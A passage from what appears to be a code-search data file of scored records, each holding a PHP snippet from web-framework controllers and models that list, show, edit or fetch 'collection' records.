view('admin.collections.show', ['data' => $data]);\n }", "title": "" }, { "docid": "932b9aa373847f137d5743c15ad1f6c1", "score": "0.63461953", "text": "function collections_show_collection ($page = null, $embed = false, $hide_header = false)\r\n{\r\n\tglobal $smcFunc, $context, $sourcedir, $txt, $scripturl;\r\n\r\n\tloadTemplate('Collections');\r\n\tloadLanguage('Collections/Collections');\r\n\tif (!$embed)\r\n\t\t$context['sub_template'] = 'collection_page';\r\n\r\n\tif ($page === null)\r\n\t\t$page = isset($_GET['page']) ? (int) $_GET['page'] : 0;\r\n\r\n\t$request = $smcFunc['db_query']('', '\r\n\t\tSELECT id_list, name, description, cust_template\r\n\t\tFROM {db_prefix}collections_list\r\n\t\tWHERE page = {int:id_page}\r\n\t\tORDER BY position',\r\n\t\tarray(\r\n\t\t\t'id_page' => $page\r\n\t\t)\r\n\t);\r\n\r\n\t$context['collection_lists' . ($embed ? $page : '')] = array();\r\n\t$lists_info = array();\r\n\t$titles = array();\r\n\t$short_style = false;\r\n\twhile ($row = $smcFunc['db_fetch_assoc']($request))\r\n\t{\r\n\t\t$titles[] = $row['name'];\r\n\t\t$lists_info[$row['id_list']] = $row;\r\n\t\t$context['collections_list_' . $row['id_list'] . '_template'] = $row['cust_template'];\r\n\t\tif (!empty($row['cust_template']))\r\n\t\t\t$short_style = true;\r\n\t}\r\n\t$smcFunc['db_free_result']($request);\r\n\r\n\t$context['page_title'] = empty($lists_info) ? $txt['collections_no_lists_in_page'] : implode(' - ', $titles);\r\n\tif ($short_style)\r\n\t\t$context['html_headers'] .= '\r\n\t\t<style type=\"text/css\">\r\n\t\t\ttable.table_grid td\r\n\t\t\t{\r\n\t\t\t\tborder: 0px;\r\n\t\t\t}\r\n\t\t</style>';\r\n\r\n\tif (empty($lists_info) && !$embed)\r\n\t\tfatal_lang_error('collections_page_not_found', false);\r\n\r\n\t// This will grab all the info about the columns\r\n\t$request = $smcFunc['db_query']('', '\r\n\t\tSELECT en.id_list, en.id_entry, en.id_element, en.value as enabled,\r\n\t\t\tel.name, el.description, el.c_type as type, el.type_values, el.is_sortable, el.options\r\n\t\tFROM {db_prefix}collections_entries as en\r\n\t\tLEFT JOIN {db_prefix}collections_elements as el ON (en.id_element = el.id_element)\r\n\t\tWHERE en.id_list IN ({array_int:current_list})\r\n\t\tORDER BY el.position',\r\n\t\tarray(\r\n\t\t\t'current_list' => empty($lists_info) ? array(0) : array_keys($lists_info),\r\n\t\t)\r\n\t);\r\n\r\n\t// We're going to want this for making our list.\r\n\trequire_once($sourcedir . '/Subs-List.php');\r\n\r\n\t$current_columns = array();\r\n\t$is_sortable = array();\r\n\twhile ($row = $smcFunc['db_fetch_assoc']($request))\r\n\t{\r\n\t\tif (empty($row['enabled']))\r\n\t\t\tcontinue;\r\n\r\n\t\t$header = empty($row['description']) || $embed ? $row['name'] : '<span title=\"' . $smcFunc['htmlspecialchars']($row['description']) . '\">' . $row['name'] . '</span>';\r\n\r\n\t\t$opt = @unserialize($row['options']);\r\n\t\tif (!empty($opt))\r\n\t\t\tforeach ($opt as $k => $v)\r\n\t\t\t\t$row[$k] = $v;\r\n\r\n\t\t$current_columns[$row['id_list']]['a' . $row['id_element']] = array(\r\n\t\t\t'header' => array(\r\n\t\t\t\t'value' => $header,\r\n\t\t\t),\r\n\t\t\t'data' => array(\r\n\t\t\t\t'function' => create_function('$datas', '\r\n\t\t\t\t\tglobal $txt, $sourcedir, $scripturl, $boardurl;\r\n\t\t\t\t\t$default = array(' . call_user_func_array(\r\n\t\t\t\t\t\tcreate_function('$row', '\r\n\t\t\t\t\t\t\t$return = \\'\\';\r\n\r\n\t\t\t\t\t\t\tforeach ($row as $key => $val)\r\n\t\t\t\t\t\t\t\t$return .= \\'\\\\\\'\\' . $key . \\'\\\\\\' => \\\\\\'\\' . addslashes($val) . \\'\\\\\\', \\';\r\n\t\t\t\t\t\t\treturn $return;'), array($row)) . ');\r\n\r\n\t\t\t\t\t$data = !empty($datas[' . $row['id_element'] . ']) ? $datas[' . $row['id_element'] . '] : $default;\r\n\r\n\t\t\t\t\tif ($data[\\'type\\'] == \\'check\\')\r\n\t\t\t\t\t\treturn !empty($data[\\'value\\']) ? $txt[\\'collections_yes\\'] : $txt[\\'collections_no\\'];\r\n\t\t\t\t\telseif ($data[\\'type\\'] == \\'fixed\\')\r\n\t\t\t\t\t\treturn $data[\\'type_values\\'];\r\n\t\t\t\t\telseif ($data[\\'type\\'] == \\'increment\\')\r\n\t\t\t\t\t\treturn $datas[\\'increment\\'];\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tif (empty($data[\\'value\\']))\r\n\t\t\t\t\t\t\treturn \\'&nbsp;\\';\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$data[\\'value\\'] = str_replace(array(\\'{script_url}\\', \\'{board_url}\\'), array($scripturl, $boardurl), $data[\\'value\\']);\r\n\t\t\t\t\t\t\tif (!empty($data[\\'bb_code\\']))\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\trequire_once($sourcedir . \\'/Subs-Post.php\\');\r\n\t\t\t\t\t\t\t\tpreparsecode($data[\\'value\\']);\r\n\t\t\t\t\t\t\t\treturn parse_bbc($data[\\'value\\']);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\treturn $data[\\'value\\'];\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t')\r\n\t\t\t),\r\n\t\t);\r\n\r\n\t\tif (!empty($row['is_sortable']) && !$embed)\r\n\t\t{\r\n\t\t\tif (!isset($default_sort_col))\r\n\t\t\t\t$default_sort_col = 'a' . $row['id_element'];\r\n\t\t\t$is_sortable[$row['id_list']] = true;\r\n\t\t\t$current_columns[$row['id_list']]['a' . $row['id_element']]['sort'] = array(\r\n\t\t\t\t'default' => $row['id_element'],\r\n\t\t\t\t'reverse' => $row['id_element'] . ' desc',\r\n\t\t\t);\r\n\t\t}\r\n\r\n\t\tif (!empty($row['head_styles']))\r\n\t\t\t$current_columns[$row['id_list']]['a' . $row['id_element']]['header']['style'] = $row['head_styles'];\r\n\t\tif ($hide_header)\r\n\t\t\t$current_columns[$row['id_list']]['a' . $row['id_element']]['header']['style'] = 'display: none;';\r\n\r\n\t\tif (!empty($row['col_styles']))\r\n\t\t\t$current_columns[$row['id_list']]['a' . $row['id_element']]['data']['style'] = $row['col_styles'];\r\n\r\n\t\tif (!empty($context['collections_list_' . $row['id_list'] . '_template']) && isset($row['position']))\r\n\t\t\t$current_columns[$row['id_list']]['a' . $row['id_element']]['data']['style'] = $row['position'];\r\n\t\telseif (!empty($context['collections_list_' . $row['id_list'] . '_template']))\r\n\t\t\t$current_columns[$row['id_list']]['a' . $row['id_element']]['data']['style'] = '';\r\n\r\n\r\n\t\t$params['columns'][] = $row;\r\n\t}\r\n\t$smcFunc['db_free_result']($request);\r\n\r\n\tforeach ($lists_info as $row)\r\n\t{\r\n\t\tif (empty($current_columns[$row['id_list']]))\r\n\t\t\tcontinue;\r\n\r\n\t\t$params['id_list'] = $row['id_list'];\r\n\t\t$params['is_sortable'] = !empty($is_sortable[$row['id_list']]);\r\n\t\t$listOptions = array(\r\n\t\t\t'id' => 'collections_list_' . $row['id_list'],\r\n\t\t\t'title' => !$embed ? $row['name'] : '',\r\n\t\t\t'width' => '100%',\r\n\t\t\t'base_href' => $scripturl . '?action=collections;page=' . $page,\r\n\t\t\t'no_items_label' => $txt['collections_no_elements_found'],\r\n\t\t\t'get_items' => array(\r\n\t\t\t\t'function' => 'list_getCollectionEntries',\r\n\t\t\t\t'params' => $params,\r\n\t\t\t),\r\n\t\t\t'columns' => $current_columns[$row['id_list']],\r\n\t\t\t'additional_rows' => array(\r\n\t\t\t\tarray(\r\n\t\t\t\t\t'position' => 'top_of_list',\r\n\t\t\t\t\t'value' => (!empty($row['description']) ? '\r\n\t\t\t\t\t\t<div class=\"windowbg description\">' . $row['description'] . '</div>' : ''),\r\n\t\t\t\t\t'align' => 'right',\r\n\t\t\t\t),\r\n\t\t\t\tarray(\r\n\t\t\t\t\t'position' => 'below_table_data',\r\n\t\t\t\t\t'value' => '\r\n\t\t\t\t\t\t<div style=\"padding-top:1em\"></div>',\r\n\t\t\t\t\t'align' => 'right',\r\n\t\t\t\t),\r\n\t\t\t),\r\n\t\t);\r\n\r\n\t\tif ($params['is_sortable'])\r\n\t\t\t$listOptions += array(\r\n\t\t\t\t'default_sort_col' => $default_sort_col,\r\n\t\t\t\t'default_sort_dir' => 'asc',\r\n\t\t\t);\r\n\r\n\t\t// Create the request list.\r\n\t\tcreateList($listOptions);\r\n\r\n\t\t$context['collection_lists' . ($embed ? $page : '')][] = 'collections_list_' . $row['id_list'];\r\n\t}\r\n}", "title": "" }, { "docid": "5a057939c5b53c41de715a4f0e948c99", "score": "0.6343891", "text": "public function action_crud_collection() {\n\t\t\n\t\t// load model\n\t\t$model = $this->get_model(null);\n\t\t\n\t\t// execute model filtering\n\t\t$this->crud_collection($model);\n\t\t\n\t}", "title": "" }, { "docid": "1400971503eb7f37d801a780dfc781a8", "score": "0.63405174", "text": "public function index()\n {\n $collections = Collection::orderBy('id', 'desc')->get();\n return view('admin.collections.index', compact('collections'));\n }", "title": "" }, { "docid": "d3b4c71bb5bfe22c7c7e7e276ec5688d", "score": "0.6255061", "text": "public function collectionGetAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('MLEventApiBundle:Event')->findAll();\n\n return new EventCollection($entities);\n }", "title": "" }, { "docid": "65ab403158810b2ba71af73fb8a95cfe", "score": "0.62513244", "text": "public function show($id)\n {\n $collection = Collection::find($id);\n return view('collections.show')->with('collection', $collection);\n }", "title": "" }, { "docid": "db1f5a5776ea6cca041aff8223bb8caf", "score": "0.62369365", "text": "public function show($id, Request $request)\n {\n $category = $request->input('search');\n\n\n $collection = Collection::find($id);\n\n return view('collections.show')->with('collection', $collection);\n }", "title": "" }, { "docid": "a8452f3773ac8f4f6cfa710ca9227872", "score": "0.6207628", "text": "function aff_collection($collectionName) //Affiche modeles détenus dans une collection\n\t{\n\t\t$userId = $this->session->id;\n\t\t$data['collection'] = $this->User_Model->getCollection($userId);\n\n\t\t$have = ($collectionName == \"jet\") ? 'jet_have' : 'ww2_have';\n\t\t$data['have'] = str_split($data['collection']->$have);\n\t\t\n\t\t$this->layout->set_title('jet');\n\t\t$this->layout->view('user/'.$collectionName.'_collection',$data);\n\t}", "title": "" }, { "docid": "4f27c877abd8c9b9813d429ed3c4acfa", "score": "0.6206238", "text": "public function show($id)\n {\n if(!$this->collectionPolicy->view(Auth::user(), Collection::findOrFail($id)))\n abort(403,'Not Authorized');\n $collection = Auth::user() && Auth::user()->isAdmin() ? Collection::withTrashed()->findOrFail($id) : Collection::findOrFail($id);\n return new CollectionDetail($collection->readableChildren()->paginate(25));\n return ['data' => Collection::readable()->findOrFail($id)->children()];\n }", "title": "" }, { "docid": "080355d49bd08181a534f3bc2e107bf5", "score": "0.61926436", "text": "public function show(BankCollection $bankCollection)\n {\n //\n }", "title": "" }, { "docid": "f7d6e9e95196bd4de61ce745e93dc0e2", "score": "0.6163049", "text": "public function index()\n {\n $collections=Collection::all();\n return view('admin.collections.index',compact('collections'));\n }", "title": "" }, { "docid": "617788cd48a9f9aed7c3d3a7430d6050", "score": "0.6161008", "text": "public function actionView() {\n $dbName = $_GET['db'];\n $collectionName = $_GET['collection'];\n $id = $_GET['id'];\n if (!empty($dbName) && !empty($collectionName) && !empty($id)) {\n $collection = $this->mongo->selectCollection($dbName, $collectionName);\n $row = $collection->findOne(array('_id' => new MongoId($id)));\n $this->sendResponse($row);\n }\n }", "title": "" }, { "docid": "2d7cdde31e3528dc6c62b420957bf66c", "score": "0.6128975", "text": "public function index()\n {\n return view('backend.pages.collections.index');\n }", "title": "" }, { "docid": "7ae72286860c419d7b737cfe6077e355", "score": "0.61208373", "text": "public function actionCollection() {\n $dbName = $_GET['db'];\n $collectionName = $_GET['collection'];\n if (!empty($dbName) && !empty($collectionName)) {\n $dbs = $this->mongo->getDatabases();\n $data = $this->mongo->findAll($dbName, $collectionName);\n $data['databases'] = $dbs;\n $data['servers'] = $this->servers;\n $data['shell'] = Shell::query($collectionName);\n $this->render('/index', $data);\n }\n }", "title": "" }, { "docid": "935be63b76935c879c131f6362c1cbb4", "score": "0.6071849", "text": "public function show($id)\n {\n return Collection::find($id);\n }", "title": "" }, { "docid": "723ca2c39ffc77dbed35b2712cd1584b", "score": "0.6029788", "text": "public function edit(Collections $collection)\n {\n // echo \"<pre>\";print_r($collection);die;\n return view('admin.collections.collection_create', [\n 'collection' =>$collection\n ]);\n }", "title": "" }, { "docid": "7cdb699580085f623b7c189bb74e74ea", "score": "0.60219204", "text": "public function collections_get()\n\t{\n\t\t// Get productid parameter from the query.\n\t\t// CodeIgniter routing rules read anything less than 0 or non-numbers as NULL.\n\t\t$id = $this->get('collectionid');\n\n\t\t$check = $this->check_for_valid_id(\"Collection\", $id);\n\t\t\n\t\t// If the ID is NULL, return all collections.\n\t\tif ($check === NULL)\n\t\t{\n\t\t\t$this->respond_with_all(\"collections\");\n\t\t}\n\t\telse if ($check === TRUE)\n\t\t{\n\t\t\t// Get specific collection from database.\n\t\t\t$data = $this->r2pdb_model->get_collections_by_id_display($id);\n\n\t\t\t// Because of the validity check above it is certain that the collection id is present in the table.\n\t\t\t$this->set_response($data, REST_Controller::HTTP_OK);\n\t\t}\n\t\t// If false, check_for_valid_id already set a response.\n\t}", "title": "" }, { "docid": "1e9f2a8963bb8c00a5c33db206323f3c", "score": "0.6005599", "text": "public function get_collection(){\n\t\treturn $this->collection;\n\t}", "title": "" }, { "docid": "cd063efed9fe197649df049ad92c7d1a", "score": "0.59792274", "text": "public function actionDetailCollection($id)\n {\n $model = Collections::findOne($id);\n\n return $this->renderAjax('detailCollections', [\n 'model' =>$model\n ]);\n }", "title": "" }, { "docid": "3a1af9e4845efbbf91ef827c8f13d3b1", "score": "0.5906202", "text": "public function index()\n {\n $collections = Collection::orderBy('updated_at', 'asc')->paginate(8);\n return view('collections.index')->with('collections', $collections);\n }", "title": "" }, { "docid": "a318082fd69cea1ec7da1a11d539fc1c", "score": "0.58913815", "text": "public function index(Request $request)\n {\n\n if(!$this->collectionPolicy->viewAny(Auth::user()))\n abort(403,'Not Authorized');\n\n return new CollectionCollection( Collection::readable()->paginate(25) );\n/*\n $collections = Auth::user() && Auth::user()->isAdmin() ? Collection::withTrashed()->get() : Collection::all();\n\n foreach($collections as $collection){\n $collection['title'] = $collection['name'];\n $collection['type' ] = 'cl';\n $collection['coverUrl'] = \"g/\".$collection->cover();\n }\n return ['data' => $collections];\n*/\n }", "title": "" }, { "docid": "23fb547241d6df90dd54c909b8dd323e", "score": "0.5885924", "text": "public function fetchSmartCollections();", "title": "" }, { "docid": "9d0e2685e2b120d20949a9c7fcf7a9b2", "score": "0.58858263", "text": "public function editAction(Request $request, Collection $collection)\n {\n $deleteForm = $this->createDeleteForm($collection);\n $editForm = $this->createForm('PackratBundle\\Form\\CollectionType', $collection);\n $editForm->handleRequest($request);\n\n if ($editForm->isSubmitted() && $editForm->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->persist($collection);\n $em->flush();\n\n return $this->redirectToRoute('collection_edit', array('id' => $collection->getId()));\n }\n\n return $this->render('collection/edit.html.twig', array(\n 'collection' => $collection,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "ff68218c7fe9dd0a98ad2e305773e106", "score": "0.5866612", "text": "public function getCollection()\n {\n return $this->params['collection'];\n }", "title": "" }, { "docid": "d970268a75c5efc065cefc1d31dc4b9d", "score": "0.5861342", "text": "public function collection()\n {\n $map = new Collection\\Map();\n $list = new Collection\\ArrayList();\n $queue = new Collection\\Queue();\n $stack = new Collection\\Stack();\n\n $map->add(new Core\\Database(), 'database');\n $map->add(new Core\\Database(), 'connect');\n $map->add(new Core\\Database(), 'connection');\n $map->add(new Core\\Database(), 'second');\n\n $list->add(new Core\\Database());\n $list->add(new Core\\Database());\n $list->add(new Core\\Database());\n $list->add(new Core\\Database());\n\n $queue->enQueue(new Core\\Database());\n $queue->enQueue(new Core\\Database());\n $queue->enQueue(new Core\\Database());\n $queue->enQueue(new Core\\Database());\n\n $stack->push(new Core\\Database());\n $stack->push(new Core\\Database());\n $stack->push(new Core\\Database());\n $stack->push(new Core\\Database());\n\n $this->view = View::getInstance($this->config);\n $this->view->display('home/collection', array($map,$list,$queue,$stack), 'main home');\n }", "title": "" }, { "docid": "f59ed4fad5432c621122f278d3334f0c", "score": "0.5843977", "text": "public function show(Collection $collection): JsonResponse\n {\n abort_if(!$collection->public && (Auth::id() !== $collection->user_id), 403);\n\n return response()->json($collection);\n }", "title": "" }, { "docid": "c1e1f26d677d6b6f8cb30a47105e3088", "score": "0.58229774", "text": "protected function defineCollection()\n {\n $methodGet = 'get' . ucfirst($this->associationName);\n $this->collection = $this->entity->$methodGet();\n }", "title": "" }, { "docid": "1e746207ea37d704f473d6ae89549084", "score": "0.58220834", "text": "public function collectionAll()\n {\n $collections = Collection::orderBy('end', 'desc')->get();\n\n return view('pages.unitCollectionAll')\n ->with('collections', $collections);\n }", "title": "" }, { "docid": "e198284fedd08a89418b5a189fce7339", "score": "0.5820238", "text": "public function getCollection($name);", "title": "" }, { "docid": "e99aa17aa6501bf52e86c2690ca7fcb1", "score": "0.57924813", "text": "public function getCollection()\n {\n \treturn $this->_collection;\n }", "title": "" }, { "docid": "53653f696c71330b3209b1cad48d2fda", "score": "0.57839894", "text": "public function getCollection()\n {\n return $this->collection;\n }", "title": "" }, { "docid": "53653f696c71330b3209b1cad48d2fda", "score": "0.57839894", "text": "public function getCollection()\n {\n return $this->collection;\n }", "title": "" }, { "docid": "53653f696c71330b3209b1cad48d2fda", "score": "0.57839894", "text": "public function getCollection()\n {\n return $this->collection;\n }", "title": "" }, { "docid": "53653f696c71330b3209b1cad48d2fda", "score": "0.57839894", "text": "public function getCollection()\n {\n return $this->collection;\n }", "title": "" }, { "docid": "3d48c3855d3d394db56495b7dbca388d", "score": "0.5764606", "text": "public function getCollection():string\n {\n return $this->collection;\n }", "title": "" }, { "docid": "75d4d882bbc92047271d126dd68c2121", "score": "0.5761272", "text": "public function getCollection(): string\n {\n return $this->collection;\n }", "title": "" }, { "docid": "75be137ce17ca6d903cb430ee8884a37", "score": "0.57501835", "text": "public function create()\n {\n return view('backend.pages.collections.create');\n }", "title": "" }, { "docid": "83ffc6deb289cdfff64b66d036892577", "score": "0.57439053", "text": "public function collection($url)\n {\n //can pass through an id or an url\n if (ctype_digit($url)) {\n $collection = Collection::where('id', '=', $url)->first();\n } else {\n $collection = Collection::where('url', '=', $url)->first();\n }\n\n // when bad url is passed\n if (empty($collection)) {\n //want to go to 404 page \n abort(404);\n }\n\n $cards = Card::where('collection_id', '=', $collection->id)->orderBy('stars', 'desc')->get();\n\n return view('pages.unitCollection')\n ->with('cards', $cards)\n ->with('collection', $collection);\n }", "title": "" }, { "docid": "d5ffd40c6c3a0c8b680eb5c7e1489418", "score": "0.57430255", "text": "public function getCollectionInstance()\n\t{\n\t\t$collection = new \\Sirprize\\Flickr\\Collection\\Entity();\n\t\t$collection\n\t\t\t->setRestClient($this->_getRestClient())\n\t\t\t->setService($this->_getService())\n\t\t;\n\t\t\n\t\treturn $collection;\n\t}", "title": "" }, { "docid": "4668cc38992b99859733e1d633703eeb", "score": "0.57356936", "text": "protected function showAll(Collection $collection, $code = 200)\n\t{\n\t\tif ($collection ->isEmpty()) {\n\t\t\treturn $this->successResponse(['data' => $collection], $code);\n\t\t}\n\t\t$url = Route::currentRouteName();\n\t\tif($url == 'github.index' ||$url ==' github.getFiles'){\n\t\t\t$transformer = new RepoTransformer();\n\t\t}else{\n\t\t\t$transformer = new GitLabTransformer();\n\t\t}\n\t;\n\t\t$collection = $this->filterData($collection, $transformer);\n\t\t$collection = $this->sortData($collection, $transformer);\n\t\t$collection = $this->paginate($collection);\n\t\t$collection = $this->transformData($collection,$transformer);\n\t\t// $collection = $this->cacheResponse($collection);\n\n\t\treturn $this->successResponse($collection, $code);\n\t}", "title": "" }, { "docid": "ce2aca5f4f55b8738db369683315142b", "score": "0.57324916", "text": "public function getCollection(Request $request)\n {\n try {\n $products = $this->product->getProduct($request);\n $categories = $this->category->getCategories();\n flashDanger($products->count(), __('flash.empty_data'));\n return view('frontends.pages.collections.index', [\n 'products' => $products,\n 'categories' => $categories\n ]);\n } catch (\\ValidationException $e) {\n return exceptionError($e, 'frontends.pages.collections.index');\n }\n }", "title": "" }, { "docid": "0836bc5ad4a684c6184259f0ea1b96b7", "score": "0.57251865", "text": "function getCollection($collection = NULL) {\n $this->method = 'GET';\n $this->_init($this->_build_url(NULL, $collection));\n \\curl_setopt($this->ch, \\CURLOPT_HTTPGET, TRUE);\n return $this->exec();\n }", "title": "" }, { "docid": "2cdd6fca4cb9c510f81856b0383dfe54", "score": "0.5714787", "text": "public function getCollection() {\n return $this->collection;\n }", "title": "" }, { "docid": "c3c902f3ce8f8a71113b538e7c0de5ca", "score": "0.5696071", "text": "public function getCollection(string $name) : Collection\n {\n }", "title": "" }, { "docid": "7a15658f8a3b81df075dbd52d2974e48", "score": "0.56695527", "text": "public function show($collectionData)\n {\n $collectionData = explode('.', $collectionData);\n\n $menu = $this->build->collectionOf($collectionData);\n \n return $menu;\n }", "title": "" }, { "docid": "26427ce5b44241f288629f1cbc85090e", "score": "0.5660752", "text": "public function edit($id)\n {\n return view('backend.pages.collections.edit')->with(['collection'=>$this->collectionProceed->edit($id)]);\n }", "title": "" }, { "docid": "4bc2e7c411389a536e8cc3d22e9c361b", "score": "0.56560034", "text": "protected function _initCollection()\n {\n $entity = ucfirst($this->_getRequestData('entity'));\n $className = str_replace(self::ENTITY_PLACEHOLDER, $entity, self::COLLECTION_CLASS_TEMPLATE);\n $collection = new $className($this->_getDataContainer(self::DC_MODEL));\n $this->_addDataContainer(self::DC_COLLECTION, $collection);\n }", "title": "" }, { "docid": "847ca148569804fdabff58cf1fe5f409", "score": "0.56543416", "text": "public function get_collection() {\n\n\t\treturn $this->collection;\n\t}", "title": "" }, { "docid": "b3b1eaa80bbd1d45b00e800fab87c7ab", "score": "0.56488115", "text": "public function create()\n {\n return view('admin.collections.collection_create');\n }", "title": "" }, { "docid": "2bf2193bc78eff9ad07268d7f0a36bf1", "score": "0.5640883", "text": "public function show(Request $request, $id)\n {\n if($request->ajax() || $request->isJson()) {\n $collection = Collection::findOrFail($id);\n return new CollectionJson($collection);\n }else {\n $collection = Collection::findOrFail($id);\n $collections = new CollectionJson($collection);\n return view('panel.collection.details', compact('collections'));\n }\n }", "title": "" }, { "docid": "f7fef76d222ff6ce0392b86c9573b365", "score": "0.5630722", "text": "public function find(Author $author): Collection\n {\n }", "title": "" }, { "docid": "da43b796455e145748b6fbbb58b15bf4", "score": "0.5629351", "text": "public function edit(Collection $collection)\n {\n return view('admin.collections.edit', compact('collection'));\n }", "title": "" }, { "docid": "8d64612cb4b815634ba1cccb51b02aeb", "score": "0.56160784", "text": "public function getCollectionName()\n {\n return $this->get('collection');\n }", "title": "" }, { "docid": "c24ae42cdbeabee2443fb0e83d31a850", "score": "0.5600893", "text": "public function view()\n {\n $this->layout = 'base_layout';\n $this -> set('page_title', 'View Items');\n\n $this->Item->Behaviors->load('Containable');\n\n $q = \"\";\n if (isset($this->request->query['search'])) {\n $q = $this->request->query['search'];\n }\n\n $this->Paginator->settings = array(\n 'limit' => 10,\n 'order' => 'Item.created DESC',\n 'conditions' => [\n 'Item.item_id' => null,\n 'Item.del_flag !=' => 1,\n 'OR' => [\n 'Item.name LIKE' => '%'.$q.'%',\n 'ItemCategory.name LIKE' => '%'.$q.'%'\n ]\n ],\n 'contain' => [\n 'ItemCategory'\n ]\n );\n $data = $this->Paginator->paginate('Item');\n $this->set('items', $data);\n $this->set('search_query', $q);\n\n }", "title": "" }, { "docid": "1690de5c359779c9428108d84433ba88", "score": "0.5599067", "text": "public function index()\n {\n return ArticleCollectionResource::collection(Article::latest('created_at')->get());\n }", "title": "" }, { "docid": "e6ea935d70e89089fc1ba85bcf286eba", "score": "0.5597027", "text": "public function detailAction() {\n $this->tid = $this->params()->fromRoute('id');\n //Get the title information\n $title = $this->getTitleTable()->getTitle($this->tid);\n\n $collection = $this->getCollectionTable()->getCollection($title->collectionlink);\n\n return new ViewModel(array(\n 'title' => $title,\n 'collection' => $collection,\n ));\n }", "title": "" }, { "docid": "e205855c8d7a68a5f5eeaf4391f77fbd", "score": "0.5579867", "text": "public function edit($id)\n {\n $collection=Collection::find($id);\n return view('admin.collections.edit',compact('collection'));\n }", "title": "" }, { "docid": "e6c65d4e007e4794ba2046f67b34d15c", "score": "0.5562929", "text": "public function indexAction()\n {\n $em = $this->get('doctrine_mongodb')->getManager();\n\n $entities = $em->getRepository('MarketResearchBundle:MarketResearch')->findAll();\n\n return $this->render('MarketResearchBundle:Default:index.html.twig', array('entities' => $entities));\n }", "title": "" }, { "docid": "6a133a66f24da232bb96f097e4f4aca5", "score": "0.5562462", "text": "public function create()\n {\n return view('collections.create');\n }", "title": "" }, { "docid": "e2db9aaf900fcd5f84b3d4bf4210c7a4", "score": "0.5558846", "text": "public function getCollectionById()\n {\n $id = $this->getParamItemId();\n $collection = $this->priceMonitor->create()->getCollection()->addFieldToFilter('id', $id);\n if ($collection->getSize() == 0) {\n return false;\n } else {\n return $collection->getFirstItem();\n }\n }", "title": "" }, { "docid": "4c12209e4e358c5f723e3433fe1fe866", "score": "0.55583036", "text": "public function show_collection()\n {\n\t\t$this->auth->restrict('Collection.Details.View');\n\t\t//load library\t\t\n $this->load->library('pagination');\n $this->load->library('doctrine');\n\t\t\n\t\t$this->lang->load('transaction_list');\n\t\t$this->load->config('config_transaction');\n\t\t\n\t\t// Pagination\n $this->load->library('pagination');\n $offset = $this->input->get('per_page');\n $limit = $this->settings_lib->item('site.list_limit');\n\t\t\n\t\t\t\t\n\t\t$src_diagnosis['collection_id'] \t\t= $this->input->post('collection_id'); \n\t\t$src_diagnosis['patient_id'] \t\t\t= $this->input->post('diagnosis_patient_id'); \n\t\t$src_diagnosis['patient_name'] \t\t\t= $this->input->post('diagnosis_patient_name');\t\n\t\t$src_diagnosis['source_name'] \t\t\t= $this->input->post('transaction_source_name'); \n\t\t$src_diagnosis['collection_date'] \t= $this->input->post('collection_date');\n\t\t$src_diagnosis['collection_date_to'] = $this->input->post('collection_date_to');\n\t\t$source_name \t\t\t\t\t\t\t= $this->config->item('source_name');\n\t\t\n\t\t//=========== Get Collection List ==========\n\t\t\n\t\t$getDiagnosisCLObj \t= new GetAllCollectionListService($this);\n\n\t\t// collection records\n\t\t$collection_records \t\t\t= $getDiagnosisCLObj\t\n\t\t\t\t\t\t\t\t\t\t\t\t->setCollectionId\t\t($src_diagnosis['collection_id'])\n\t\t\t\t\t\t\t\t\t\t\t\t->setPatientNo\t\t($src_diagnosis['patient_id'])\n\t\t\t\t\t\t\t\t\t\t\t\t->setPatientName\t\t($src_diagnosis['patient_name'])\n\t\t\t\t\t\t\t\t\t\t\t\t//->setContactNo\t\t($src_diagnosis['contact_no'])\n\t\t\t\t\t\t\t\t\t\t\t\t->setTransactionType(1) // 1=Collection\n\t\t\t\t\t\t\t\t\t\t\t\t->setCollectionSource\t($src_diagnosis['source_name'])\n\t\t\t\t\t\t\t\t\t\t\t\t->setCollectionDate\t\t($src_diagnosis['collection_date'])\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t->setCollectionDateTo\t\t($src_diagnosis['collection_date_to'])\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t->setLimit($limit)\n\t\t\t\t\t\t\t\t\t\t\t\t->setOffset($offset)\n\t\t\t\t\t\t\t\t\t\t\t\t->execute();\n\n\t\t\n\t\t\n\t\t\n\t\t$total \t\t\t\t= $getDiagnosisCLObj->getCount();\n\n\t\t$this->pager['base_url'] \t\t\t= current_url() .'?';\n\t\t$this->pager['total_rows'] \t\t\t= $total;\n\t\t$this->pager['per_page'] \t\t\t= $limit;\n\t\t$this->pager['page_query_string']\t= TRUE;\n\n\t\t$this->pagination->initialize($this->pager);\n\t\t\n\t\t$sendData = array(\n\t\t\t'collection_records' \t\t=> $collection_records,\n\t\t\t'src_diagnosis' \t\t\t=> $src_diagnosis,\n\t\t\t'source_name'\t\t\t\t=> $source_name\n\t\t);\n\t\t\t\t\n\t\tTemplate::set('sendData', $sendData);\t\t\n\t\tTemplate::set('toolbar_title', lang(\"collection_View\"));\t\t\n\t\tTemplate::set_view('transaction/collection_list');\n\t\t\n\t\tTemplate::render();\n }", "title": "" }, { "docid": "a855a7c94f85cd74bc6949084a77f14f", "score": "0.5556326", "text": "public function getCollection () {\n\t\treturn $this->_collection;\n\t}", "title": "" }, { "docid": "a4745ea7fb183a8525986b6350099ac3", "score": "0.5555688", "text": "public function show($id)\n {\n $collection = \\App\\Collection::with(['user', 'followables'])->findOrFail($id);\n $data['posts'] = $collection->posts()->latest('id')->paginate(10);\n $data['articles'] = $collection->publishedArticles()->latest('id')->paginate(10);\n return view('collection.show')\n ->with('collection', $collection)\n ->with('data', $data);\n }", "title": "" }, { "docid": "6c47ba51ae6d9eb27c529e09deee858e", "score": "0.55533904", "text": "protected function getCollection()\n {\n return $this->client->collection($this->collection);\n }", "title": "" }, { "docid": "d86bde31a64c8488f30048500d05e1de", "score": "0.5549649", "text": "function 